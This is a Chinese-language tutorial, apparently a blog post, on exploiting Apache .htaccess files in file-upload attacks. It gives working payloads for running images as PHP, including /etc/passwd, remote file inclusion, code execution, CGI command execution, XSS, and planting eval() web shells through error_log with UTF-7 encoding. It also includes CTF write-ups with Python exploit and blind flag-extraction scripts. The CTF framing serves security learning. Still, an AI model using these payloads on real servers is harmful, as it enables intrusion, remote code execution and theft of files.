Apache的.htaccess利用技巧
参考:Apache的.htaccess利用技巧-先知社区
作用范围
.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess 文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
配置文件
启动 .htaccess,需要在服务器的主配置文件将 AllowOverride 设置为 All,如 apache2.conf
1
| AllowOverride All #启动.htaccess文件的使用
|
也可以将 .htaccess 修改为其他名
1
| AccessFileName .config #将.htaccess修改为.config
|
常见指令
具体功能可以看http://www.htaccess-guide.com/
SetHandler
SetHandler 可以强制所有匹配的文件被一个指定的处理器处理
用法:
1
| SetHandler handler-name|None
|
示例1:
1
| SetHandler application/x-httpd-php
|
此时当前目录及其子目录下所有文件都会被当做 php 解析
示例2:
1
| SetHandler server-status
|
apache的服务器状态信息(默认关闭),可以查看所有访问本站的记录
访问任意不存在的文件,加参数 ?refresh=5 来实现每隔 5s 自动刷新
比如sever?refresh=5
AddHandler
AddHandler 可以在文件扩展名与特定的处理器之间建立映射
用法:
1
| AddHandler handler-name extension [extension] ...
|
例如:
1
| AddHandler cgi-script .xxx
|
将扩展名为 .xxx 的文件作为 CGI 脚本来处理
AddType
AddType 可以将给定的文件扩展名映射到指定的内容类型
用法:
1
| AddType media-type extension [extension] ...
|
示例:
1
| AddType application/x-httpd-php .gif
|
将以 gif 为后缀的文件当做 php 解析
1
| AddType application/x-httpd-php png jpg gif
|
将以 .png .jpg .gif 多个后缀当做 php 解析
php_value
当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以。
php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag。
用法:
PHP: 配置可被设定范围 - Manual
由上可知 .htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。
PHP: php.ini 配置选项列表 - Manual
可以找到可用指令
(1) 文件包含配置选项
- auto_prepend_file:在主文件解析之前自动解析包含的文件
- auto_append_file:在主文件解析后自动解析包含的文件
例如:
1
| php_value auto_prepend_file images.png
|
访问一个 php 文件时,在该文件解析之前会先自动解析 images.png 文件
(2) 绕过preg_match
例如:
1
2
| php_value pcre.backtrack_limit 0
php_value pcre.jit 0
|
设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ,从而可以绕过正则。
php_flag
php_flag 用来设定布尔值的 php 配置指令
用法:
PHP: php.ini 配置选项列表 - Manual
找到可用指令
可以将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露
利用方式
文件解析
经常出现在文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的 php 恶意代码得以被解析执行
.htaccess 文件内容有如下两种
1.SetHandler 指令
1
2
3
4
| # 将images.png 当做 PHP 执行
<FilesMatch "images.png">
SetHandler application/x-httpd-php
</FilesMatch>
|
2.AddType
1
2
| # 将 .jpg 当做 PHP 文件解析
AddType application/x-httpd-php .jpg
|
文件包含
本地文件包含
通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件, 同时在本目录或子目录中需要有可解析的 php 文件来触发。
.htaccess 分别通过这两个配置选项来包含 /etc/passwd,并访问同目录下的 index.php文件。
auto_prepend_file
1
| php_value auto_prepend_file /etc/passwd
|
auto_append_file
1
| php_value auto_append_file /etc/passwd
|
远程文件包含
PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。
在 php.ini 中设置 all_url_include 为 On
1
| php_value auto_append_file http://10.87.9.156/phpinfo.txt
|
然后访问目录下php文件后就会出现phpinfo
源码泄露
利用 php_flag 将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露
这里在谷歌浏览器访问会显示源码,用其他浏览器访问会显示空白,还需查看源码,才可看到泄露的源码
代码执行
1.利用伪协议
all_url_fopen、all_url_include 为 On
1
2
| php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,<?php phpinfo();
|
2.解析.htaccess
方法一:
1
2
| php_value auto_append_file .htaccess
#<?php phpinfo();
|
解析完会变成
1
2
| php_value auto_append_file .htaccess #
下面把phpinfo解析了
|
方法二:
这种适合同目录或子目录没有 php 文件。
需要先设置允许可访问 .htaccess 文件
1
2
3
4
5
| <Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
|
然后再将 .htaccess指定当做 php文件处理
1
2
| SetHandler application/x-httpd-php
# <?php phpinfo(); ?>
|
最后会被解析为
1
2
| Require all granted Order allow,deny Allow from all SetHandler application/x-httpd-php #
下面phpinfo被解析了
|
命令执行
CGI启动
cgi_module 需要加载,即 apache 配置文件中有
1
| LoadModule cgi_module modules/mod_cgi.so
|
.htaccess内容
1
2
| Options ExecCGI #允许CGI执行
AddHandler cgi-script .xx #将xx后缀名的文件,当做CGI程序进行解析
|
ce.xx内容(弹计算器
1
2
| #!C:/Windows/System32/cmd.exe /k start calc.exe
6
|
例题可看 [De1CTF2020 check in](https://github.com/De1ta-team/De1CTF2020/tree/master/writeup/web/check in)
De1CTF2020 check in
预期解
.htaccess:
1
2
| Options +ExecCGI
AddHandler cgi-script .xx
|
1.xx:
1
2
3
4
5
6
7
| #! /bin/bash
echo Content-type: text/html
echo ""
cat /flag
|
注:这里讲下一个小坑,linux中cgi比较严格
上传后发现状态码500,无法解析我们bash文件。因为我们的目标站点是linux环境,如果我们用(windows等)本地编辑器编写上传时编码不一致导致无法解析,所以我们可以在linux环境中编写并导出再上传。
非预期解
反斜杠绕过正则
.htaccess:
1
2
| AddType application/x-httpd-p\
hp .xx
|
1.xx
或者白嫖flag
利用apache的服务器状态信息(默认关闭)
.htaccess:
1
| SetHandler server-status
|
上传文件后,访问自己的目录就发现是apache的服务器状态信息,可以看到其他人的访问本网站的记录
FastCGI启动
mod_fcgid.so需要被加载。即 apache 配置文件中有
1
| LoadModule fcgid_module modules/mod_fcgid.so
|
.htaccess
1
2
3
| Options +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx
|
ce.xx内容随便填,就能弹计算器了
XSS
highlight_file
.htaccess
1
| php_value highlight.comment '"><script>alert(1);</script>'
|
其中的 highlight.comment 也可以换成如下其他选项
PHP: 运行时配置 - Manual

index.php
1
2
3
| <?php
highlight_file(__FILE__);
// comment
|
就会弹xss
错误消息链接
index.php :
1
2
| <?php
include('foo');#foo报错
|
.htaccess
1
2
3
| php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"
|
利用报错来xss
自定义错误文件
error.php
1
| <?php include('shell');#报错页面
|
.htaccess
1
2
| php_value error_log /tmp/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"
|
访问 error.php,会报错并记录在 shell.php 文件中
因为<?标签会经过 html 编码,所以需要 UTF-7 来绕过。
.htaccess
1
2
3
4
5
6
7
8
9
| # 第一次
php_value error_log /tmp/shell #定义错误路径
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# 第二次
php_value include_path "/tmp" #将include()的默认路径改变
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
|
这种方法在这题有记录:OurChallenges/XNUCA2019Qualifier/Web/Ezphp at master · NeSE-Team/OurChallenges · GitHub
XNUCA2019 ezphp
预期解
htaccess生效
如果尝试上传htaccess文件会发现出现响应500的问题,因为文件尾有Just one chance 这里采用# \的方式将换行符转义成普通字符,就可以用#来注释单行了。
利用文件包含
代码中有一处include_once("fl3g.php");,php的配置选项中有include_path可以用来设置include的路径。如果tmp目录下有fl3g.php,在可以通过将include_path设置为tmp的方式来完成文件包含。
tmp目录写文件
- 如何在指定目录写指定文件名的文件呢?php的配置选项中有error_log可以满足这一点。error_log可以将php运行报错的记录写到指定文件中。
- 如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。
- 写进error_log的内容会被html编码怎么绕过?这个点是比较常见的,采用utf7编码即可。
payload
- 第一步,通过error_log配合include_path在tmp目录生成shell
1
2
3
4
| php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \
|
- 第二步,通过include_path和utf7编码执行shell
1
2
3
4
| php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
|
非预期1
因为正则判断写的是if(preg_match("/[^a-z\.]/", $filename) == 1) {而不是if(preg_match("/[^a-z\.]/", $filename) !== 0) {,因此存在了被绕过的可能。 通过设置.htaccess
1
2
| php_value pcre.backtrack_limit 0
php_value pcre.jit 0
|
导致preg_match返回False,继而绕过了正则判断,filename即可通过伪协议绕过前面stristr的判断实现Getshell。
非预期2
反斜杠绕过
1
2
| php_value auto_prepend_fi\
le ".htaccess"
|
脚本
1
2
3
4
5
6
7
8
9
10
11
12
| import requests
htaccess = '''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php system('cat /????');?>\\'''
url = 'http://ddd0daaf-fee4-4af5-b7bb-9f0d7dfbe6ef.node5.buuoj.cn:81/?filename={}&content={}'.format('.htaccess', htaccess)
r = requests.get(url=url)
print(r.status_code)
print(r.text)
|
盲注(2021津门杯ctf)
配置文件是
1
2
3
| <Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
</Directory>
|
php_flag engine off是会使整个目录不解析php的,所以上传php文件是行不通的
解法一
就是利用上面我们所学的来进行,但是这里并没有对htaccess进行waf
1
2
3
4
5
6
7
8
| <FilesMatch .htaccess>
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</FilesMatch>
php_value auto_prepend_file .htaccess
#<?php eval($_POST['cmd']);?>
|
解法二
盲注
1
2
3
| <If "file('/flag')=~ '/flag{/'">
ErrorDocument 404 "wupco"
</If>
|
~ :用于开启“正则表达式”分析,正则表达式必须在双引号之间。
如果匹配到就设置ErrorDocument 404为"wupco",那么访问一个不存在的页面时就会显示wupco这个字符串
盲注脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| import requests
import string
import hashlib
import time
ip = requests.get('http://b8227f3d-aa38-48ad-bf30-6ce5f87fc177.node5.buuoj.cn:81/').text
print(ip)
def check(a):
time.sleep(0.1)
htaccess = '''
<If "file('/flag')=~ /'''+a+'''/">
ErrorDocument 404 "wupco"
</If>
'''
resp = requests.post("http://b8227f3d-aa38-48ad-bf30-6ce5f87fc177.node5.buuoj.cn:81/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
a = requests.get("http://b8227f3d-aa38-48ad-bf30-6ce5f87fc177.node5.buuoj.cn:81/upload/"+ip+"/a").text
if "wupco" not in a:
return False
else:
return True
flag = "flag{"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:
continue
|